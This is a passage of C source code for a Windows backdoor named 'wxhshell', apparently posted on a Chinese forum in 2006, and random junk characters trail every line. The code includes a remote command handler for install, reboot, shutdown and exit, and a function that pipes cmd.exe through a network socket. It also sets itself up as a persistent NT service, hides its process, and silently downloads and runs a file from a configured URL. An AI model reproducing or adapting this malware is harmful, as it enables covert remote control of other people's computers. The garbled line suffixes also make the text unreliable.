  // 帮助 'L@kZ  
  case '?': { DYDeb i6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F1)5"7f  
    break; ,r8#-~A6,A  
  } vR3\E"Zi  
  // 安装 f OasX!=  
  case 'i': { IE|? &O  
    if(Install()) 2O 2HmL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 21$E.x 6  
    else nSv@FT'~z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D"V(A\sZ  
    break; 7tbY>U8  
    } vc0LV'lmg  
  // 卸载 uc>":V  
  case 'r': { jNvDE}'  
    if(Uninstall()) w *M&@+3I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %E\zR/  
    else X- ZZLl#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V,h}l"  
    break; (^NYC$ZxM=  
    } SK*z4p  
  // 显示 wxhshell 所在路径 3;RQ\{eM  
  case 'p': { o(k{Ed  
    char svExeFile[MAX_PATH]; W#P`Y< u$  
    strcpy(svExeFile,"\n\r"); 4_`(c1oA  
      strcat(svExeFile,ExeFile); 2 EWXr+IU.  
        send(wsh,svExeFile,strlen(svExeFile),0); E<l/o5<nC  
    break; eaAGlEW6J  
    } 5-hnk' ~  
  // 重启 BsU}HuQZQ  
  case 'b': { ^) (-7H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RR+{uSO,t  
    if(Boot(REBOOT)) ?I[*{}@n"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]OtnekkK$  
    else { 0|Xz-Y  
    closesocket(wsh); 1<tJ3>Xl  
    ExitThread(0); iF9d?9TWl  
    } ^Z-oO#)h#  
    break; :r>^^tGT!  
    } c: r25  
  // 关机 <5? pa3  
  case 'd': { 1<Sg@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UE{$hLI?g  
    if(Boot(SHUTDOWN)) Sx[ eX,q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q3<kr<SP  
    else { ua)jGif  
    closesocket(wsh); DXo]O}VF  
    ExitThread(0); 9QaE)wt  
    } O%3Hp.|!  
    break; d:k n%L6k_  
    } '4nJ*Xa  
  // 获取shell X$;&Mdo.  
  case 's': { i y8Jl  
    CmdShell(wsh); zXM,cV/s   
    closesocket(wsh); f1]zsn:  
    ExitThread(0); -72EXO=|  
    break; D<m0G]Ht*  
  } PcBD;[cn  
  // 退出 [ /YuI@C,@  
  case 'x': { S3:AitGJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,sIC=V +  
    CloseIt(wsh); #1/~eIEY  
    break; F#>00b{Q  
    } {vGJ}q?Sd"  
  // 离开 +U1 Ir5Lx  
  case 'q': { a%e`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hbOXR.0z  
    closesocket(wsh); Z4EmRa30 p  
    WSACleanup(); &iInru3  
    exit(1); s/=%kCo  
    break; 4 s ax  
        } 'w27Lt'V  
  } ni&|;"Nt-  
  } #]x3(}3W  
VJ=>2'I  
  // 提示信息 Km;}xke6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 00.x*v  
} JwB'B  
  } At"$Cu!k  
HT6 [Z1  
  return; #n'.a1R  
}  v&|65[<  
qx'0(q2Ii(  
// shell模块句柄 c7jmzo  
int CmdShell(SOCKET sock) >;^/B R=  
{ (Kwqa"Hk4{  
STARTUPINFO si; ~g\~x  
ZeroMemory(&si,sizeof(si)); rNR7}o~qo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rh ^(91d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H.m]Dm,z  
PROCESS_INFORMATION ProcessInfo; !JDr58  
char cmdline[]="cmd"; ;U|(rM;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $uZmIu9Bi+  
  return 0; ts!tv6@  
} w.-x2Zg},  
RbX9PF"|+  
// 自身启动模式 )"S%'myj  
int StartFromService(void) I@MG ?ZQ  
{ uhh7Ft#H  
typedef struct Y>8Qj+d  
{ N#K)Z5J)b  
  DWORD ExitStatus; cry1gnWG  
  DWORD PebBaseAddress; dMH_:jb  
  DWORD AffinityMask; GLn=*Dh#  
  DWORD BasePriority; r*+~(83k  
  ULONG UniqueProcessId; .`}TND~  
  ULONG InheritedFromUniqueProcessId; @"@|O>KJ  
}   PROCESS_BASIC_INFORMATION; +Yc^w5 !(  
bGCC?}\  
PROCNTQSIP NtQueryInformationProcess; ==OUd6e}  
/)6T>/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &t[[4+Qt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `9co7[Z  
WM'!|lg  
  HANDLE             hProcess; d ItfR'$  
  PROCESS_BASIC_INFORMATION pbi; hBjU(}\3  
6u0>3-[6OD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); } Bf@69  
  if(NULL == hInst ) return 0; az F!V  
#4JMb#q0E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r8s>s6vm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fAgeF$9@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F:!6B b C  
B/wD~xC?x  
  if (!NtQueryInformationProcess) return 0; HG;;M6  
"pM >TMAE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @."K"i'Bl  
  if(!hProcess) return 0; w.q`E@ T*  
hzsQK _;S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2iG+Ek-?"  
?4bYb]8Z  
  CloseHandle(hProcess); 2g= 6 s  
rGP;0KtQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G*I    
if(hProcess==NULL) return 0; s<zN`&t  
lxyTh'  
HMODULE hMod; )8A.Wg4S;c  
char procName[255]; !:&SfPv  
unsigned long cbNeeded; ,~Mf2Y#m0p  
^%$IdDx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9;+&}:IVS  
h$&Tg_/'#D  
  CloseHandle(hProcess); CP J21^  
;k!.ey $S  
if(strstr(procName,"services")) return 1; // 以服务启动 Kk8wlC  
8"j$=T6;W  
  return 0; // 注册表启动 c["1t1G  
} 6Qkjr</  
,`bW (V  
// 主模块 },8|9z#pyB  
int StartWxhshell(LPSTR lpCmdLine) NftnbsTmy  
{ "z{/*uM2<  
  SOCKET wsl; @P7'MiP]K  
BOOL val=TRUE; (%X *b.n=  
  int port=0; 1kvX#h&V  
  struct sockaddr_in door; FOQ-KP\ =,  
0`x>p6.)G  
  if(wscfg.ws_autoins) Install(); AkQ(V  
R! M'  
port=atoi(lpCmdLine); @D;K&:~|N  
:qdyC sn2  
if(port<=0) port=wscfg.ws_port; VW*%q0i-  
CtCReH03  
  WSADATA data; nnyT,e%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v#?DWeaFS_  
?{ )'O+s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;0dH@b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &V?+Y2  
  door.sin_family = AF_INET; nLm'a_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZWCsrV*;  
  door.sin_port = htons(port); a fa\6]m  
=Fz mifTc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8xLQ" l+"  
closesocket(wsl); *|y'%y  
return 1; ww{k_'RRJ  
} z:-{Y2F  
GJB+] b-  
  if(listen(wsl,2) == INVALID_SOCKET) { u&l;\w  
closesocket(wsl); gX{j$]^6G8  
return 1; Q#%LIkeq  
} SSI> +A  
  Wxhshell(wsl); <.ZIhDiEl  
  WSACleanup(); ~!({U nt+'  
?ES{t4"  
return 0; >V^8<^?G  
R|RGoGE6g  
} MGF !ZZ\  
k M /:n  
// 以NT服务方式启动 0kUhz\"R:q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &`m.]RV  
{ 'l/l]26rO4  
DWORD   status = 0; &MX&5@ Vu  
  DWORD   specificError = 0xfffffff; l-XfUjJ  
Qr R+3kxM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j0L%jz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (')t >B1Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;j T{< Y  
  serviceStatus.dwWin32ExitCode     = 0; 12 )  
  serviceStatus.dwServiceSpecificExitCode = 0; rPB Ju0D"  
  serviceStatus.dwCheckPoint       = 0; t%mi#Gh(  
  serviceStatus.dwWaitHint       = 0; #X)DFAtb  
9BakxmAc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,O:4[M!$w  
  if (hServiceStatusHandle==0) return; ()|e xWW  
aUMiRm-   
status = GetLastError(); cUug}/!I  
  if (status!=NO_ERROR) !\'w>y7  
{ iYLg[J"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c^_+<C-F  
    serviceStatus.dwCheckPoint       = 0; >(2;(TbQm0  
    serviceStatus.dwWaitHint       = 0; q}_8iDO6  
    serviceStatus.dwWin32ExitCode     = status; OkRb3}  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2po8n _  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EZWWv L  
    return; PlCw,=K8f  
  } J)g +I  
/[Nkk)8-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "I=Lbh-`  
  serviceStatus.dwCheckPoint       = 0; -d?<t}a  
  serviceStatus.dwWaitHint       = 0; ` &=%p|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D Z~036  
} (Tq)!h35B  
A6KP(@   
// 处理NT服务事件,比如:启动、停止 "'DPb%o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @w33u^  
{ 9uxoMjR-  
switch(fdwControl) <1vogUDW  
{ MZ)lNU l  
case SERVICE_CONTROL_STOP: R UCUEo63  
  serviceStatus.dwWin32ExitCode = 0; =?CIC%6m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .P8m%$'N  
  serviceStatus.dwCheckPoint   = 0; k'X"jon  
  serviceStatus.dwWaitHint     = 0; xRZ K&vkKE  
  { "X<V>q$0~c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p+Yy"wH:h{  
  } iu=@ h>C  
  return;  =glG |  
case SERVICE_CONTROL_PAUSE: + $M<ck?Bo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v#d3W| ~  
  break; fhk(<KZvJ  
case SERVICE_CONTROL_CONTINUE: o JVdFE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c @lF*"4  
  break; &xr(Kb  
case SERVICE_CONTROL_INTERROGATE: &#C|  
  break; cm!vuoB~~  
}; iJZvVs',  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :"Vmy.xq  
} di;~$rI!?  
B|syb!g  
// 标准应用程序主函数 z>W?\[E<2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #Hy9 ;Q  
{ f/ 3'lPK^  
.mnkV -m  
// 获取操作系统版本 2kgSIvk\  
OsIsNt=GetOsVer(); -4Q\FLC'k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fda2dY;  
Y;\@ 5TgQ,  
  // 从命令行安装 dRs\e(H'  
  if(strpbrk(lpCmdLine,"iI")) Install(); # - L<  
'QpDx&~QP  
  // 下载执行文件 87pu\(,'  
if(wscfg.ws_downexe) { 7iy2V;}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Us[F@  
  WinExec(wscfg.ws_filenam,SW_HIDE); _or_Vw!  
} g6gwNC:aF  
KfK5e{yT  
if(!OsIsNt) { 0{!-h  
// 如果时win9x,隐藏进程并且设置为注册表启动 55b/giX  
HideProc(); Ct(^nn$A  
StartWxhshell(lpCmdLine); RSe av  
} n1x3q/~  
else ;<MHl[jJD  
  if(StartFromService()) [+@T"2h2b  
  // 以服务方式启动 P e} T  
  StartServiceCtrlDispatcher(DispatchTable); z3^gufOkQ  
else >of9m  
  // 普通方式启动 CTqhXk[  
  StartWxhshell(lpCmdLine); B&(/,.  
6EY 0Fjsi  
return 0; nBd(p Oe  
}
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只看该作者 1 发表于: 2006-10-10
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